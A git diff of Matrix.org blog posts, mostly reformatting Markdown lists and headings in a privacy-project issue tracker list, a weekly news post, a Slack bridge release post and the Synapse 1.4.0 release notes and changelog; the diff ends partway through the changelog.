use](https://github.com/vector-im/riotX-android/issues/432) (in progress) + * [431 Make sure there are no ugly edge cases running Riot without an integrations manager](https://github.com/vector-im/riotX-android/issues/431) + * [433 Decouple setting an email for password reset from publishing your threepid to the identity server and support choice of identity server (on registration)](https://github.com/vector-im/riotX-android/issues/433) + * [434 Prompt to accept identity server policies before inviting them to a room](https://github.com/vector-im/riotX-android/issues/434) + * [435 Identity server v2 API authentication](https://github.com/vector-im/riotX-android/issues/435) + * [436 Settings: Ability to change the identity server](https://github.com/vector-im/riotX-android/issues/436) + * [438 Settings: Add a Discovery section](https://github.com/vector-im/riotX-android/issues/438) + * [439 Registration: Update consents flow](https://github.com/vector-im/riotX-android/issues/439) + * [489 Use the hashed v2 lookup API for 3PIDs](https://github.com/vector-im/riotX-android/issues/489) + * matrix-org/matrix-doc + * [1961 MSC1961: Integration manager authentication APIs](https://github.com/matrix-org/matrix-doc/pull/1961) (done) + * [2078 MSC2078: Sending Third-Party Request Tokens via the Homeserver](https://github.com/matrix-org/matrix-doc/pull/2078) (done) + * [2130 Identity service should do lookups based on hashed 3PIDs, not plaintext ones.](https://github.com/matrix-org/matrix-doc/issues/2130) (done) + * [2134 MSC2134: Identity Hash Lookups](https://github.com/matrix-org/matrix-doc/pull/2134) (done) + * [2139 Method for ISes and Integration managers to provide terms of service](https://github.com/matrix-org/matrix-doc/issues/2139) (done) + * [2140 MSC2140: Terms of Service for ISes and IMs](https://github.com/matrix-org/matrix-doc/pull/2140) (done) + * [2229 MSC2229: Allowing 3PID Owners to Rebind](https://github.com/matrix-org/matrix-doc/pull/2229) (done) + * [2230 MSC2230: Store Identity Server in Account Data](https://github.com/matrix-org/matrix-doc/pull/2230) (done) + * [2263 MSC2263: Give homeservers the ability to handle their own 3PID registrations/password resets](https://github.com/matrix-org/matrix-doc/pull/2263) (done) + * [2264 MSC2264: Add an unstable feature flag to MSC2140 for clients to detect support](https://github.com/matrix-org/matrix-doc/pull/2264) (done) + * [2290 MSC2290: Separate Endpoints for Threepid Binding](https://github.com/matrix-org/matrix-doc/pull/2290) (in progress) + * matrix-org/sydent + * [178 Support for MSC2140](https://github.com/matrix-org/sydent/issues/178) (done) + * [179 Support testing with matrix-is-tester](https://github.com/matrix-org/sydent/pull/179) (done) + * [180 Support for MSC2140](https://github.com/matrix-org/sydent/pull/180) (done) + * [181 Deny bindings to anything other than the mxid you're authed as](https://github.com/matrix-org/sydent/pull/181) (done) + * [184 Hash 3PID lookups](https://github.com/matrix-org/sydent/pull/184) (done) + * [186 Don't fail the unbind request if the binding doesn't exist](https://github.com/matrix-org/sydent/pull/186) (done) + * [187 Add more tweaks to terms branch](https://github.com/matrix-org/sydent/pull/187) (done) + * [189 Redact looked-up threepids from the application logs.](https://github.com/matrix-org/sydent/issues/189) (done) + * [191 Add OpenID auth to 3PID hash lookup](https://github.com/matrix-org/sydent/issues/191) (done) + * [197 Have 'mappings' contain medium as well as address](https://github.com/matrix-org/sydent/pull/197) (done) + * [198 Throw exception on bad args & catch in wrapper](https://github.com/matrix-org/sydent/pull/198) (done) + * [199 Return algorithm, lookup_pepper in M_INVALID_PEPPER response](https://github.com/matrix-org/sydent/pull/199) (done) + * [200 Support MSC2140 register/terms endpoints](https://github.com/matrix-org/sydent/pull/200) (done) + * [201 Port v1 endpoints to v2](https://github.com/matrix-org/sydent/pull/201) (done) + * [202 Deny bindings to anything other than the mxid you're authed as](https://github.com/matrix-org/sydent/pull/202) (done) + * [204 Fix the signing servlet](https://github.com/matrix-org/sydent/pull/204) (done) + * [205 Correct API v1 path check in get_args](https://github.com/matrix-org/sydent/pull/205) (done) + * [206 Fix terms POST](https://github.com/matrix-org/sydent/pull/206) (done) + * [207 Deploy policy file](https://github.com/matrix-org/sydent/issues/207) (done) + * [208 Remove PII logging from log-level INFO](https://github.com/matrix-org/sydent/pull/208) (done) + * [213 Delete threepid assocs on unbind and remove existing with migration](https://github.com/matrix-org/sydent/pull/213) (done) + * [217 Allow non-matrix.org MXIDs via v2 only once terms are enabled](https://github.com/matrix-org/sydent/issues/217) (done) + * [218 Unbind fails to remove the binding on matrix.org IS](https://github.com/matrix-org/sydent/issues/218) (done) + * [220 Unbind fails to work for bindings where it was attempted with #213](https://github.com/matrix-org/sydent/issues/220) (done) + * [192 Sydent doesn't delete 3PIDs from DB on unbind](https://github.com/matrix-org/sydent/issues/192) (in progress) + * matrix-org/synapse + * [1287 We need to actually censor redactions from the DB (SYN-284)](https://github.com/matrix-org/synapse/issues/1287) (done) + * [5751 Make homeservers able to handle registration-with-email without depending on an Identity Server](https://github.com/matrix-org/synapse/issues/5751) (done) + * [5786 Support IS v2 API with authentication for requests proxied to the IS](https://github.com/matrix-org/synapse/issues/5786) (done) + * [5827 Add 3PID unbind API for MSC2140](https://github.com/matrix-org/synapse/issues/5827) (done) + * [5835 [1/2] Allow homeservers to send registration emails | Sending the email](https://github.com/matrix-org/synapse/pull/5835) (done) + * [5861 Use the v2 lookup API for 3PID invites](https://github.com/matrix-org/synapse/issues/5861) (done) + * [5862 Allow account owners to rebind 3PIDs as in MSC2229](https://github.com/matrix-org/synapse/issues/5862) (done) + * [5868 Add flag in /versions for whether clients should send id_server params](https://github.com/matrix-org/synapse/pull/5868) (done) + * [5874 Placeholder issue for privacy migration path](https://github.com/matrix-org/synapse/issues/5874) (done) + * [5875 Remove trusted_third_party_id_servers functionality](https://github.com/matrix-org/synapse/pull/5875) (done) + * [5876 Replace trust_identity_server_for_password_resets with account_threepid_delegate](https://github.com/matrix-org/synapse/pull/5876) (done) + * [5892 Switch to using v2 Identity Service APIs other than lookup (MSC 2140)](https://github.com/matrix-org/synapse/pull/5892) (done) + * [5897 Use the v2 lookup API for 3PID invites](https://github.com/matrix-org/synapse/pull/5897) (done) + * [5927 Add a m.id_access_token flag to unstable_features](https://github.com/matrix-org/synapse/issues/5927) (done) + * [5928 Split account_threepid_handler into a msisdn and email versions](https://github.com/matrix-org/synapse/issues/5928) (done) + * [5929 Use account_threepid_delegate for sending SMS](https://github.com/matrix-org/synapse/issues/5929) (done) + * [5930 Add m.id_access_token flag](https://github.com/matrix-org/synapse/pull/5930) (done) + * [5934 Censor redactions in DB after a month](https://github.com/matrix-org/synapse/pull/5934) (done) + * [5935 Use federation blacklist for requests to identity servers](https://github.com/matrix-org/synapse/issues/5935) (done) + * [5937 Revert "Use the v2 lookup API for 3PID invites"](https://github.com/matrix-org/synapse/pull/5937) (done) + * [5940 [2/2] Allow homeservers to send registration emails | Accepting the verification](https://github.com/matrix-org/synapse/pull/5940) (done) + * [5945 Revert "Add m.id_access_token flag"](https://github.com/matrix-org/synapse/pull/5945) (done) + * [5948 Support v2 Identity Server APIs](https://github.com/matrix-org/synapse/pull/5948) (done) + * [5964 Remove bind_email and bind_msisdn](https://github.com/matrix-org/synapse/pull/5964) (done) + * [5968 Set m.require_identity_server to always be False](https://github.com/matrix-org/synapse/pull/5968) (done) + * [5969 Change account_threepid_delegate to a dictionary](https://github.com/matrix-org/synapse/pull/5969) (done) + * [5972 Add m.require_identity_server to /versions unstable_flags](https://github.com/matrix-org/synapse/pull/5972) (done) + * [5974 Add m.id_access_token to /versions unstable_features (MSC2264)](https://github.com/matrix-org/synapse/pull/5974) (done) + * [5976 Use the v2 Identity Service API for lookups (MSC2134 + MSC2140)](https://github.com/matrix-org/synapse/pull/5976) (done) + * [5979 v2 3PID Invites (part of MSC2140)](https://github.com/matrix-org/synapse/pull/5979) (done) + * [5980 Add POST /_matrix/client/r0/account/3pid/unbind (MSC2140)](https://github.com/matrix-org/synapse/pull/5980) (done) + * [5987 Allow Synapse to send registration emails + choose Synapse or an external server to handle 3pid validation](https://github.com/matrix-org/synapse/pull/5987) (done) + * [5996 Allow users to rebind 3pids they own (MSC2229)](https://github.com/matrix-org/synapse/pull/5996) (done) + * [6000 Use the federation blacklist for requests to untrusted Identity Servers](https://github.com/matrix-org/synapse/pull/6000) (done) + * [6011 Use account_threepid_delegate for 3pid validation](https://github.com/matrix-org/synapse/pull/6011) (done) + * [6013 Fix existing v2 identity server calls (MSC2140)](https://github.com/matrix-org/synapse/pull/6013) (done) + * [6042 Allow HS to send emails when adding an email to the HS](https://github.com/matrix-org/synapse/pull/6042) (done) + * [6043 Implement MSC2290](https://github.com/matrix-org/synapse/pull/6043) (done) + * [6044 Add an unstable feature flag for separate add/bind 3pid APIs](https://github.com/matrix-org/synapse/pull/6044) (done) + * [6062 Use unstable prefix for 3PID unbind API](https://github.com/matrix-org/synapse/pull/6062) (done) + * [6067 Drop support for bind param on POST /account/3pid (MSC2290)](https://github.com/matrix-org/synapse/pull/6067) (done) + * [6076 Synapse doesn't give clients a submit_url on requestToken breaking msisdn adding](https://github.com/matrix-org/synapse/issues/6076) (done) + * [6078 Add POST submit_token endpoint for MSISDN](https://github.com/matrix-org/synapse/pull/6078) (done) + * [6079 Add submit_url response parameter to msisdn /requestToken](https://github.com/matrix-org/synapse/pull/6079) (done) + * [6087 Remove hardcoded defaults of matrix.org and vector.im in configuration](https://github.com/matrix-org/synapse/issues/6087) (done) + * [6090 Explicitly log when a homeserver does not have a trusted key server configured](https://github.com/matrix-org/synapse/pull/6090)(done) + * [6096 Riot Web expects the email validation next_link to have the sid appended](https://github.com/matrix-org/synapse/issues/6096) (done) + * [6100 Remove email from registration flows if it’s unsupported](https://github.com/matrix-org/synapse/issues/6100) (done) + * [6103 _check_threepid in auth.py incorrect for MSISDN](https://github.com/matrix-org/synapse/issues/6103) (done) + * [6045 Support Client-Server API r0.6.0](https://github.com/matrix-org/synapse/issues/6045) (in progress) + * [1263 When we redact events, any mxc content they refer to should be redacted too (SYN-216)](https://github.com/matrix-org/synapse/issues/1263) + * [4565 Metadata resistance.](https://github.com/matrix-org/synapse/issues/4565) + * [6086 Fetch signing-keys directly from servers before falling back to the trusted_key_servers](https://github.com/matrix-org/synapse/issues/6086) +* phase:2 + * vector-im/riot-web + * [4913 Option for homeservers to set a default integration manager](https://github.com/vector-im/riot-web/issues/4913) (done) + * [10161 Store Integration Manager preferences in account data and allow user to change them somewhere sensible](https://github.com/vector-im/riot-web/issues/10161) (done) + * [10967 Disconnect from identity server fails](https://github.com/vector-im/riot-web/issues/10967) (done) + * [10443 Remove v1 IS API fallbacks once servers are updated](https://github.com/vector-im/riot-web/issues/10443) + * [10557 Prompt users each time before sending data to an Identity Server that doesn't have a terms of service (unless you have actively set that IS in your account data).](https://github.com/vector-im/riot-web/issues/10557) + * [10696 Allow users to disconnect from an integration manager entirely in the same way that we support doing this for identity servers](https://github.com/vector-im/riot-web/issues/10696) + * [10909 Unable to disconnect from IS if the server is unavailable](https://github.com/vector-im/riot-web/issues/10909) + * [10936 Refine submit_url handling to only activate with separate add and bind](https://github.com/vector-im/riot-web/issues/10936) + * vector-im/riot-ios + * [2711 Provide a better UX for users considering sharing their contact list with an IS to discover people they know already using Matrix](https://github.com/vector-im/riot-ios/issues/2711) + * vector-im/riot-android + * [3282 Checking email invite account is unclear when no IS set](https://github.com/vector-im/riot-android/issues/3282) + * [3323 Post MSC2290 bug / Clicking on the validation mail link fails registration](https://github.com/vector-im/riot-android/issues/3323) + * matrix-org/matrix-doc + * [1957 MSC1957: Integration manager discovery](https://github.com/matrix-org/matrix-doc/pull/1957) (done) + * matrix-org/sydent + * [196 Remove the lookup_hash field from local_threepid_associations](https://github.com/matrix-org/sydent/issues/196) (in progress) + * matrix-org/synapse + * [5881 Remove trust_identity_server_for_password_resets and account_threepid_delegate options](https://github.com/matrix-org/synapse/issues/5881) +* phase:3 + * vector-im/riot-web + * [10563 Add better domain for turn.matrix.org use as STUN server](https://github.com/vector-im/riot-web/issues/10563) (done) + * [10087 Prompt to accept integration manager policies on registration](https://github.com/vector-im/riot-web/issues/10087) + * [10167 Present an aggregated terms of service dialogue at registration if possible](https://github.com/vector-im/riot-web/issues/10167) + * [10168 If a user has disabled the identity server integration on their account, we should make invite user handle this nicely](https://github.com/vector-im/riot-web/issues/10168) + * [10401 Invite new users to publish their threepids to the identity server](https://github.com/vector-im/riot-web/issues/10401) + * [10422 Use more contextual prompt for integration manager polices on use](https://github.com/vector-im/riot-web/issues/10422) + * [10453 Log out from IM on Riot log out and IM removal](https://github.com/vector-im/riot-web/issues/10453) + * [10455 Log out from IS on Riot log out and IS removal](https://github.com/vector-im/riot-web/issues/10455) + * [10487 Store the date of users having read and accepted the IM policies in the IM db](https://github.com/vector-im/riot-web/issues/10487) + * [10488 Store the date of users having read and accepted the IS policies in the IS db](https://github.com/vector-im/riot-web/issues/10488) + * [10498 Terms test scalar requires the legacy ?v query param on the new account route](https://github.com/vector-im/riot-web/issues/10498) + * [10575 We should show the 'must configure TURN' warning when a call fails, even after using the fallback turn.matrix.org](https://github.com/vector-im/riot-web/issues/10575) + * [10615 Change all IS access token APIs to use getIdentityAccessToken only](https://github.com/vector-im/riot-web/issues/10615) + * [10671 riot submits sign-ed25519 requests as POST requests with params in query string and empty body](https://github.com/vector-im/riot-web/issues/10671) + * [10746 /invite doesn't force terms with older homeservers](https://github.com/vector-im/riot-web/issues/10746) + * [10830 Show IS policy links in user settings somewhere.](https://github.com/vector-im/riot-web/issues/10830) + * [10950 Unhelpful 400 error when adding MSISDN and server doesn’t delegate](https://github.com/vector-im/riot-web/issues/10950) + * vector-im/riot-ios + * [2710 Show IS policy links in user settings somewhere.](https://github.com/vector-im/riot-ios/issues/2710) + * matrix-org/matrix-doc + * [447 We need a way to be able to expire data from a HS. (SPEC-141)](https://github.com/matrix-org/matrix-doc/issues/447) + * matrix-org/synapse + * [5830 `pushers` table contains user device names, which may include user real names](https://github.com/matrix-org/synapse/issues/5830) diff --git a/content/blog/2019/09/2019-09-27-this-week-in-matrix-2019-09-27.md b/content/blog/2019/09/2019-09-27-this-week-in-matrix-2019-09-27.md index 90b8ac2f2..d1b0cc5fb 100644 --- a/content/blog/2019/09/2019-09-27-this-week-in-matrix-2019-09-27.md +++ b/content/blog/2019/09/2019-09-27-this-week-in-matrix-2019-09-27.md @@ -29,14 +29,17 @@ MSC Updates: News from **2019-09-20 09:00:00** until **2019-09-27 20:07:55**. + **Merged MSCs** *No MSCs have been merged this week.* + **Final Comment Period** *No MSCs have entered FCP this week.* + **New MSCs** * [[WIP] MSC2306: Removing MSISDN password resets](https://github.com/matrix-org/matrix-doc/pull/2306) diff --git a/content/blog/2019/10/2019-10-03-matrix-appservice-slack-bridge-1-0-is-here.md b/content/blog/2019/10/2019-10-03-matrix-appservice-slack-bridge-1-0-is-here.md index 3790245aa..32609fe5a 100644 --- a/content/blog/2019/10/2019-10-03-matrix-appservice-slack-bridge-1-0-is-here.md +++ b/content/blog/2019/10/2019-10-03-matrix-appservice-slack-bridge-1-0-is-here.md @@ -39,6 +39,7 @@ Memory usage of the bridge comparison CPU usage of the bridge comparison In terms of how many users matrix.org is currently serving at the moment, we present to you some figures: + - 2562 bridged rooms - 764 teams connected to the bridge - 103711 events have passed through the bridge since the launch of 0.3.2 diff --git a/content/blog/2019/10/2019-10-03-synapse-1-4-0-released.md b/content/blog/2019/10/2019-10-03-synapse-1-4-0-released.md index 6cce57f48..9a0dc45e3 100644 --- a/content/blog/2019/10/2019-10-03-synapse-1-4-0-released.md +++ b/content/blog/2019/10/2019-10-03-synapse-1-4-0-released.md @@ -12,8 +12,9 @@ Wheyhey as I live and breathe 1.4.0 is here! 1.4.0 should be considered ‘The Privacy Release’ and is the cumulation of a huge body of work spanning multiple projects to improve data privacy in the matrix ecosystem. You can read more about the [full project here](https://matrix.org/blog/2019/09/27/privacy-improvements-in-synapse-1-4-and-riot-1-4). While we consider 1.4.0 to be a huge leap forward in terms of data privacy, it is really important to note that it contains breaking changes. - * If you currently rely on email or SMS delivery via an identity server you must modify your Synapse configuration. - * If you have configured custom templates, then eight new templates must be added to your templates directory. + +* If you currently rely on email or SMS delivery via an identity server you must modify your Synapse configuration. +* If you have configured custom templates, then eight new templates must be added to your templates directory. If either apply to you failure to act will break your installation. Full details can be found in the [upgrade notes](https://github.com/matrix-org/synapse/blob/master/UPGRADE.rst#upgrading-to-v140). @@ -21,9 +22,9 @@ If either apply to you failure to act will break your installation. Full details It is possible for a user to associate an email address or phone number with their account, for a number of reasons: - * For use when logging in, as an alternative to the user id. - * In the case of email, as an alternative contact to help with account recovery. - * In the case of email, to receive notifications of missed messages. +* For use when logging in, as an alternative to the user id. +* In the case of email, as an alternative contact to help with account recovery. +* In the case of email, to receive notifications of missed messages. Before an email address or phone number can be added to a user's account, or before such an address is used to carry out a password-reset, Synapse must confirm the operation with the owner of the email address or phone number. It does this by sending an email or text giving the user a link or token to confirm receipt. This process is known as '3pid verification'. ('3pid', or 'threepid', stands for third-party identifier, and we use it to refer to external identifiers such as email addresses and phone numbers.) @@ -36,6 +37,7 @@ In the medium term, the vector.im and matrix.org identity servers will disable s Once delegated 3pid verification support has been disabled in the vector.im and matrix.org identity servers, all Synapse versions that depend on those instances will be unable to verify email and phone numbers through them. There are no imminent plans to remove delegated 3pid verification from Sydent generally. (Sydent is the identity server project that backs the vector.im and matrix.org instances). ## Why is this necessary? + Prior to 1.4.0, the identity server was providing two related-but-separate functions: a directory for users to publish their contact details and to look up their contacts by their email addresses and phone numbers. @@ -52,197 +54,178 @@ The best way to solve this problem is to have individual homeservers take owners This delegation is entirely separate from the user's choice of identity server for user directory services. As of right now the user is free to choose and trust whichever identity server they wish, or to choose not to use an identity server at all. ## Are there any other data privacy features? + Yes, 1.4.0 now [automatically garbage collects redacted messages](https://github.com/matrix-org/synapse/issues/1287) (defaults to 7 days) and removes [unused IP and user agent information](https://github.com/matrix-org/synapse/pull/6098/files) stored in the user_ips table (defaults to 30 days). Finally, Synapse now [warns in its logs](https://github.com/matrix-org/synapse/pull/6090/files) if you are using matrix.org as a trusted key server, in case you wish to use a different server to help discover other servers’ keys. ## Anything else? + Aside from privacy, we’ve expanded our OpenTracing support and fixed a host of bugs. However the thing that is most exciting is switching on our solution for [mitigating forward extremities build up](https://github.com/matrix-org/synapse/issues/5319)’ by default. In some cases rooms can accumulate ‘forward extremities’, which are simply an artefact of attempting to resolve the room state over multiple servers. Forward extremities are necessary to ensure that each server can independently arrive at the same view of the room eventually, however processing these extremities can be [computationally expensive and degrade server performance overall](https://github.com/matrix-org/synapse/issues/1760). Originally it was an experimental config option but we now feel confident to turn it on by default for all instances - it should make a big difference for the CPU of servers in fragmented rooms. - - So that’s it folks, thanks for making it this far. As ever, you can get the new update [here](https://github.com/matrix-org/synapse/releases/tag/v1.4.0) or any of the sources mentioned at [https://github.com/matrix-org/synapse](https://github.com/matrix-org/synapse). Also, check out our [Synapse installation guide page](https://matrix.org/docs/guides/installing-synapse) The changelog since 1.3.1 follows: -Synapse 1.4.0 (2019-10-03) -============================= - -Bugfixes --------- - -- Redact `client_secret` in server logs. ([\#6158](https://github.com/matrix-org/synapse/issues/6158)) - +## Synapse 1.4.0 (2019-10-03) -Synapse 1.4.0rc2 (2019-10-02) -============================= +### Bugfixes -Bugfixes --------- +* Redact `client_secret` in server logs. ([\#6158](https://github.com/matrix-org/synapse/issues/6158)) -- Fix bug in background update that adds last seen information to the `devices` table, and improve its performance on Postgres. ([\#6135](https://github.com/matrix-org/synapse/issues/6135)) -- Fix bad performance of censoring redactions background task. ([\#6141](https://github.com/matrix-org/synapse/issues/6141)) -- Fix fetching censored redactions from DB, which caused APIs like initial sync to fail if it tried to include the censored redaction. ([\#6145](https://github.com/matrix-org/synapse/issues/6145)) -- Fix exceptions when storing large retry intervals for down remote servers. ([\#6146](https://github.com/matrix-org/synapse/issues/6146)) +## Synapse 1.4.0rc2 (2019-10-02) +### Bugfixes -Internal Changes ----------------- +* Fix bug in background update that adds last seen information to the `devices` table, and improve its performance on Postgres. ([\#6135](https://github.com/matrix-org/synapse/issues/6135)) +* Fix bad performance of censoring redactions background task. ([\#6141](https://github.com/matrix-org/synapse/issues/6141)) +* Fix fetching censored redactions from DB, which caused APIs like initial sync to fail if it tried to include the censored redaction. ([\#6145](https://github.com/matrix-org/synapse/issues/6145)) +* Fix exceptions when storing large retry intervals for down remote servers. ([\#6146](https://github.com/matrix-org/synapse/issues/6146)) -- Fix up sample config entry for `redaction_retention_period` option. ([\#6117](https://github.com/matrix-org/synapse/issues/6117)) +### Internal Changes +* Fix up sample config entry for `redaction_retention_period` option. ([\#6117](https://github.com/matrix-org/synapse/issues/6117)) -Synapse 1.4.0rc1 (2019-09-26) -============================= +## Synapse 1.4.0rc1 (2019-09-26) Note that this release includes significant changes around 3pid verification. Administrators are reminded to review the [upgrade notes](UPGRADE.rst#upgrading-to-v140). -Features --------- - -- Changes to 3pid verification: - - Add the ability to send registration emails from the homeserver rather than delegating to an identity server. ([\#5835](https://github.com/matrix-org/synapse/issues/5835), [\#5940](https://github.com/matrix-org/synapse/issues/5940), [\#5993](https://github.com/matrix-org/synapse/issues/5993), [\#5994](https://github.com/matrix-org/synapse/issues/5994), [\#5868](https://github.com/matrix-org/synapse/issues/5868)) - - Replace `trust_identity_server_for_password_resets` config option with `account_threepid_delegates`, and make the `id_server` parameteter optional on `*/requestToken` endpoints, as per [MSC2263](https://github.com/matrix-org/matrix-doc/pull/2263). ([\#5876](https://github.com/matrix-org/synapse/issues/5876), [\#5969](https://github.com/matrix-org/synapse/issues/5969), [\#6028](https://github.com/matrix-org/synapse/issues/6028)) - - Switch to using the v2 Identity Service `/lookup` API where available, with fallback to v1. (Implements [MSC2134](https://github.com/matrix-org/matrix-doc/pull/2134) plus `id_access_token authentication` for v2 Identity Service APIs from [MSC2140](https://github.com/matrix-org/matrix-doc/pull/2140)). ([\#5897](https://github.com/matrix-org/synapse/issues/5897)) - - Remove `bind_email` and `bind_msisdn` parameters from `/register` ala [MSC2140](https://github.com/matrix-org/matrix-doc/pull/2140). ([\#5964](https://github.com/matrix-org/synapse/issues/5964)) - - Add `m.id_access_token` to `unstable_features` in `/versions` as per [MSC2264](https://github.com/matrix-org/matrix-doc/pull/2264). ([\#5974](https://github.com/matrix-org/synapse/issues/5974)) - - Use the v2 Identity Service API for 3PID invites. ([\#5979](https://github.com/matrix-org/synapse/issues/5979)) - - Add `POST /_matrix/client/unstable/account/3pid/unbind` endpoint from [MSC2140](https://github.com/matrix-org/matrix-doc/pull/2140) for unbinding a 3PID from an identity server without removing it from the homeserver user account. ([\#5980](https://github.com/matrix-org/synapse/issues/5980), [\#6062](https://github.com/matrix-org/synapse/issues/6062)) - - Use `account_threepid_delegate.email` and `account_threepid_delegate.msisdn` for validating threepid sessions. ([\#6011](https://github.com/matrix-org/synapse/issues/6011)) - - Allow homeserver to handle or delegate email validation when adding an email to a user's account. ([\#6042](https://github.com/matrix-org/synapse/issues/6042)) - - Implement new Client Server API endpoints `/account/3pid/add` and `/account/3pid/bind` as per [MSC2290](https://github.com/matrix-org/matrix-doc/pull/2290). ([\#6043](https://github.com/matrix-org/synapse/issues/6043)) - - Add an unstable feature flag for separate add/bind 3pid APIs. ([\#6044](https://github.com/matrix-org/synapse/issues/6044)) - - Remove `bind` parameter from Client Server POST `/account` endpoint as per [MSC2290](https://github.com/matrix-org/matrix-doc/pull/2290/). ([\#6067](https://github.com/matrix-org/synapse/issues/6067)) - - Add `POST /add_threepid/msisdn/submit_token` endpoint for proxying submitToken on an `account_threepid_handler`. ([\#6078](https://github.com/matrix-org/synapse/issues/6078)) - - Add `submit_url` response parameter to `*/msisdn/requestToken` endpoints. ([\#6079](https://github.com/matrix-org/synapse/issues/6079)) - - Add `m.require_identity_server` flag to /version's unstable_features. ([\#5972](https://github.com/matrix-org/synapse/issues/5972)) -- Enhancements to OpenTracing support: - - Make OpenTracing work in worker mode. ([\#5771](https://github.com/matrix-org/synapse/issues/5771)) - - Pass OpenTracing contexts between servers when transmitting EDUs. ([\#5852](https://github.com/matrix-org/synapse/issues/5852)) - - OpenTracing for device list updates. ([\#5853](https://github.com/matrix-org/synapse/issues/5853)) - - Add a tag recording a request's authenticated entity and corresponding servlet in OpenTracing. ([\#5856](https://github.com/matrix-org/synapse/issues/5856)) - - Add minimum OpenTracing for client servlets. ([\#5983](https://github.com/matrix-org/synapse/issues/5983)) - - Check at setup that OpenTracing is installed if it's enabled in the config. ([\#5985](https://github.com/matrix-org/synapse/issues/5985)) - - Trace replication send times. ([\#5986](https://github.com/matrix-org/synapse/issues/5986)) - - Include missing OpenTracing contexts in outbout replication requests. ([\#5982](https://github.com/matrix-org/synapse/issues/5982)) - - Fix sending of EDUs when OpenTracing is enabled with an empty whitelist. ([\#5984](https://github.com/matrix-org/synapse/issues/5984)) - - Fix invalid references to None while OpenTracing if the log context slips. ([\#5988](https://github.com/matrix-org/synapse/issues/5988), [\#5991](https://github.com/matrix-org/synapse/issues/5991)) - - OpenTracing for room and e2e keys. ([\#5855](https://github.com/matrix-org/synapse/issues/5855)) - - Add OpenTracing span over HTTP push processing. ([\#6003](https://github.com/matrix-org/synapse/issues/6003)) -- Add an admin API to purge old rooms from the database. ([\#5845](https://github.com/matrix-org/synapse/issues/5845)) -- Retry well-known lookups if we have recently seen a valid well-known record for the server. ([\#5850](https://github.com/matrix-org/synapse/issues/5850)) -- Add support for filtered room-directory search requests over federation ([MSC2197](https://github.com/matrix-org/matrix-doc/pull/2197), in order to allow upcoming room directory query performance improvements. ([\#5859](https://github.com/matrix-org/synapse/issues/5859)) -- Correctly retry all hosts returned from SRV when we fail to connect. ([\#5864](https://github.com/matrix-org/synapse/issues/5864)) -- Add admin API endpoint for setting whether or not a user is a server administrator. ([\#5878](https://github.com/matrix-org/synapse/issues/5878)) -- Enable cleaning up extremities with dummy events by default to prevent undue build up of forward extremities. ([\#5884](https://github.com/matrix-org/synapse/issues/5884)) -- Add config option to sign remote key query responses with a separate key. ([\#5895](https://github.com/matrix-org/synapse/issues/5895)) -- Add support for config templating. ([\#5900](https://github.com/matrix-org/synapse/issues/5900)) -- Users with the type of "support" or "bot" are no longer required to consent. ([\#5902](https://github.com/matrix-org/synapse/issues/5902)) -- Let synctl accept a directory of config files. ([\#5904](https://github.com/matrix-org/synapse/issues/5904)) -- Increase max display name size to 256. ([\#5906](https://github.com/matrix-org/synapse/issues/5906)) -- Add admin API endpoint for getting whether or not a user is a server administrator. ([\#5914](https://github.com/matrix-org/synapse/issues/5914)) -- Redact events in the database that have been redacted for a week. ([\#5934](https://github.com/matrix-org/synapse/issues/5934)) -- New prometheus metrics: - - `synapse_federation_known_servers`: represents the total number of servers your server knows about (i.e. is in rooms with), including itself. Enable by setting `metrics_flags.known_servers` to True in the configuration.([\#5981](https://github.com/matrix-org/synapse/issues/5981)) - - `synapse_build_info`: exposes the Python version, OS version, and Synapse version of the running server. ([\#6005](https://github.com/matrix-org/synapse/issues/6005)) -- Give appropriate exit codes when synctl fails. ([\#5992](https://github.com/matrix-org/synapse/issues/5992)) -- Apply the federation blacklist to requests to identity servers. ([\#6000](https://github.com/matrix-org/synapse/issues/6000)) -- Add `report_stats_endpoint` option to configure where stats are reported to, if enabled. Contributed by @Sorunome. ([\#6012](https://github.com/matrix-org/synapse/issues/6012)) -- Add config option to increase ratelimits for room admins redacting messages. ([\#6015](https://github.com/matrix-org/synapse/issues/6015)) -- Stop sending federation transactions to servers which have been down for a long time. ([\#6026](https://github.com/matrix-org/synapse/issues/6026)) -- Make the process for mapping SAML2 users to matrix IDs more flexible. ([\#6037](https://github.com/matrix-org/synapse/issues/6037)) -- Return a clearer error message when a timeout occurs when attempting to contact an identity server. ([\#6073](https://github.com/matrix-org/synapse/issues/6073)) -- Prevent password reset's submit_token endpoint from accepting trailing slashes. ([\#6074](https://github.com/matrix-org/synapse/issues/6074)) -- Return 403 on `/register/available` if registration has been disabled. ([\#6082](https://github.com/matrix-org/synapse/issues/6082)) -- Explicitly log when a homeserver does not have the `trusted_key_servers` config field configured. ([\#6090](https://github.com/matrix-org/synapse/issues/6090)) -- Add support for pruning old rows in `user_ips` table. ([\#6098](https://github.com/matrix-org/synapse/issues/6098)) - -Bugfixes --------- - -- Don't create broken room when `power_level_content_override.users` does not contain `creator_id`. ([\#5633](https://github.com/matrix-org/synapse/issues/5633)) -- Fix database index so that different backup versions can have the same sessions. ([\#5857](https://github.com/matrix-org/synapse/issues/5857)) -- Fix Synapse looking for config options `password_reset_failure_template` and `password_reset_success_template`, when they are actually `password_reset_template_failure_html`, `password_reset_template_success_html`. ([\#5863](https://github.com/matrix-org/synapse/issues/5863)) -- Fix stack overflow when recovering an appservice which had an outage. ([\#5885](https://github.com/matrix-org/synapse/issues/5885)) -- Fix error message which referred to `public_base_url` instead of `public_baseurl`. Thanks to @aaronraimist for the fix! ([\#5909](https://github.com/matrix-org/synapse/issues/5909)) -- Fix 404 for thumbnail download when `dynamic_thumbnails` is `false` and the thumbnail was dynamically generated. Fix reported by rkfg. ([\#5915](https://github.com/matrix-org/synapse/issues/5915)) -- Fix a cache-invalidation bug for worker-based deployments. ([\#5920](https://github.com/matrix-org/synapse/issues/5920)) -- Fix admin API for listing media in a room not being available with an external media repo. ([\#5966](https://github.com/matrix-org/synapse/issues/5966)) -- Fix list media admin API always returning an error. ([\#5967](https://github.com/matrix-org/synapse/issues/5967)) -- Fix room and user stats tracking. ([\#5971](https://github.com/matrix-org/synapse/issues/5971), [\#5998](https://github.com/matrix-org/synapse/issues/5998), [\#6029](https://github.com/matrix-org/synapse/issues/6029)) -- Return a `M_MISSING_PARAM` if `sid` is not provided to `/account/3pid`. ([\#5995](https://github.com/matrix-org/synapse/issues/5995)) -- `federation_certificate_verification_whitelist` now will not cause `TypeErrors` to be raised (a regression in 1.3). Additionally, it now supports internationalised domain names in their non-canonical representation. ([\#5996](https://github.com/matrix-org/synapse/issues/5996)) -- Only count real users when checking for auto-creation of auto-join room. 